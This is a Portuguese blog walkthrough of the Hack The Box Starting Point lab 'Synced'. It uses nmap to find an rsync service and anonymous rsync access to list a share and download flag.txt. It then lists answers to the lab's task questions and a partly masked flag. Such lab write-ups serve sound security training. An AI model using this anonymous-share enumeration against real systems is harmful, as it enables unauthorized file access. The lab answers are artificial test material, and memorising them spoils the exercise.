Hack The Box – Starting point – Synced – Tier 0 Machines

Fala Rapaziada, beleza?

Hoje vou trazer a resolução do Laboratório Synced do Starting point do HTB.

Capture to Flag

Primeiro, rodei o nmap para descobrir as portas abertas.

Encontrei a porta 873 aberta rodando o rsync

nmap -sSV -p- -Pn 10.129.131.145 --min-rate=1000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-28 08:58 EDT
Nmap scan report for 10.129.131.145
Host is up (0.19s latency).
Not shown: 65534 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.74 seconds

O rsync é utilizado para sincronizar arquivos e diretórios entre computadores.

Com o comando rsync consegui verificar arquivos e diretórios que estavam disponiveis no alvo.

rsync -av rsync://10.129.247.101/                     
public          Anonymous Share

rsync -av rsync://10.129.247.101/public/              
receiving incremental file list
drwxr-xr-x          4,096 2022/10/24 18:02:23 .
-rw-r--r--             33 2022/10/24 17:32:03 flag.txt

sent 24 bytes  received 74 bytes  13.07 bytes/sec
total size is 33  speedup is 0.34

Após localizar o arquivo flag.txt, com o mesmo comando direcionei ela para uma pasta local do meu linux, e assim consegui baixar o arquivo para minha máquina.

Com o cat, consegui ver o conteúdo da flag.

rsync -av rsync://10.129.209.61/public/flag.txt /root/hackthebox/machines/synced
receiving incremental file list

sent 24 bytes  received 55 bytes  6.32 bytes/sec
total size is 33  speedup is 0.42

cat flag.txt                  
72eaf5344ebb84908XXXXXXXXXXXXXXX

Tarefas

TASK 1 – What is the default port for rsync?
R: 873

TASK 2 – How many TCP ports are open on the remote host?
R: 1

TASK 3 – What is the protocol version used by rsync on the remote machine?
R: 31

TASK 4 – What is the most common command name on Linux to interact with rsync?
R: rsync

TASK 5 – What credentials do you have to pass to rsync in order to use anonymous authentication? anonymous:anonymous, anonymous, None, rsync:rsync
R: None

TASK 6 – What is the option to only list shares and files on rsync? (No need to include the leading — characters)
R: list-only

Submit root flag
R: 72eaf5344ebb84908ae543aXXXXXXXXX